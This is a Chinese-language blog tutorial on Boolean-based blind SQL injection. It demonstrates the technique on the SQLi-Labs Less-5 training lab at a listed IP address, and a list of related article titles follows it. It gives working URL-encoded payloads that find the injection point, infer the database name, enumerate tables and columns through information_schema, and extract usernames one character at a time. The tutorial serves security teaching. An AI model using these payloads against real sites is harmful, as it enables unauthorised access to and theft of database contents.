SQL注入之Boolean型盲注
什么是Boolean型注入
Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通过此来获取数据库中的数据。
Boolean型注入实战
这儿以SQLi-Labs less5来进行演示Boolean型盲注实战。
首先查看是否存在注入点
构造payload http://43.247.91.228:84/Less-5/?id=1

加个单引号 http://43.247.91.228:84/Less-5/?id=1'

数据库报错说明存在注入点
接下来来看看数据库的长度,构造payload http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=1%23

页面回显不正常,在进行尝试到8时回显正常
payload http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=8%23

回显正常说明数据库长度为8
猜测数据库的第一位
payload http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

回显正常,说明数据库第一个字母大于a,然后再试后面的字母和数字(可以用二分法来节约时间)最后确定第一位为s。
再猜测数据库的第二位
构造payload为 http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

说明第二位大于a,在进行测试,得到第二位为e。
得到database()=security
然后来获取这个数据库下的第一个表的第一个字段
http://43.247.91.228:84/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

第一个为e,继续操作得到表名为email
接着获取第二个表,将limit0,1改为limit1,1,查询出第二个表为referers
重复这个步骤,获取所有表的名字。
然后使用regexp来获取user中的列
http://43.247.91.228:84/Less-5/?id=1%27and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+
回显正常说明表中有us开头的列
http://43.247.91.228:84/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^username%27%20limit%200,1)--+

说明有username存在,然后在查询password等其他的列。
然后再来获取users表的内容
http://43.247.91.228:84/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+
试出了username第一行的第一个字符ascii为68,即为D,然后继续查询第一行数据为Dumb。
再用这个方法查询其他列获得数据,便可完成注入。
盲注的过程比较繁琐,手工实现的话比较费时间,我们可以通过写脚本来实现盲注。
但是对于盲注的原理我们还是要深入理解的。
SQL注入之Boolean型盲注的更多相关文章
- Sqli-LABS通关笔录-5[SQL布尔型盲注]
/* 请为原作者打个标记.出自:珍惜少年时 */ 通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...
- 【Python】测试布尔型盲注脚本
sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...
- 大哥带我们的mysql注入 基于时间的盲注
?id= and ,,sleep()) ?id= and ,,sleep()) if语句/if()函数 在基于时间型SQL盲注中,我们经常使用条件语句来判断我们的操作是否正确: ?id= and = ...
- SQL注入(字符型)
靶场:sqli-labs @SQLi最重要的一点:别上来就对着输入框注入,完整语句写出来,始终在语句中写完整的,最后把完整的一部分截取出来作为输入 @URL编码:为避免歧义,URL中,如 %2b ...
- SQL注入(bool型)
sqli-labs 靶场https://blog.csdn.net/qq_41420747/article/details/81836327 教程+靶场 1. https://blog.csdn.ne ...
- 网站SQL注入之数字型注入和字符型注入
什么是SQL注入- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击.1,是一种将SQL语句插入或添加到应用(用户)的 ...
- 大哥带我们的mysql注入 基于bool的盲注
盲注 那么我们来了解一点盲注的语法 这里面是语法的介绍 https://blog.csdn.net/alex_seo/article/details/82148955 0X01第一步我们先判断当前数据 ...
- 【sqli-labs】 less16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
' or 1=1# -->失败 1" or 1=1# -->失败 1') or 1=1# -->失败 1") or 1=1# -->成功 判断为双引号变形注 ...
- web安全之sql注入报错型注入
前提: echo mysql_error(),输出错误信息. 熟悉的函数: floor()向下取整 concat()返回的字符串参数连接的结果 count()函数返回匹配指定条件的行数 rand()函 ...
随机推荐
- vue 使用 elementUI 和 antd 的细微差别
Checkbox a-checkbox 没有value属性,绑定用checked Collapse 使用折叠面板的时候,antd 的层级关系是 .ant-collapse >.ant-colla ...
- Rocket - tilelink - AsyncCrossing
https://mp.weixin.qq.com/s/v8plWCBD8vZkxykjJe4TCg 介绍AsyncCrossing的实现,主要介绍如何实现diplomacy Node和LazyMo ...
- 深入理解JVM(③)——之HotSpot虚拟机对象探秘
前言 上篇文章介绍了Java虚拟机的运行时数据区域,大致明白了Java虚拟机内存模型的概况,下面就基于实用优先的原则,以最常用的虚拟机HotSpot和最常用的内存区域Java堆为例,升入探讨一下Hot ...
- Python环境搭建—安利Python小白的Python和Pycharm安装详细教程
人生苦短,我用Python.众所周知,Python目前越来越火,学习Python的小伙伴也越来越多.最近看到群里的小伙伴经常碰到不会安装Python或者不知道去哪下载Python安装包等系列问题,为了 ...
- Java实现 LeetCode 310 最小高度树
310. 最小高度树 对于一个具有树特征的无向图,我们可选择任何一个节点作为根.图因此可以成为树,在所有可能的树中,具有最小高度的树被称为最小高度树.给出这样的一个图,写出一个函数找到所有的最小高度树 ...
- centos7 安装配置apache
1.在安装apache yum install httpd 2.启动测试 systemctl start httpd // restart (重启) 3.查看运行状态 service httpd s ...
- 因为 MongoDB 没入门,我丢了一份实习工作
有时候不得不感慨一下,系统升级真的是好处多多,不仅让我有机会重构了之前的烂代码,也满足了我积极好学的虚荣心.你看,Redis 入门了.Elasticsearch 入门了,这次又要入门 MongoDB, ...
- git提交代码托管平台流程
首先先安装git git官网 ---- https://git-scm.com/ 下载好傻瓜式安装即可 安装好过后,再桌面任意空白区域右键,看到以下两个选项即为安装成功 一般都用第二个选项也就是 Gi ...
- 7. redux
1.所有的状态统一放在state中,由store来管理state 2.用户触发一个action行为,由dispatch分发action行为 3.通过store把原有的state的状态值和dispatc ...
- 关于thinkhphp3.1中废弃 preg_replace /e 修饰符
警告:preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead 网上查了下 发现 php5.5版 ...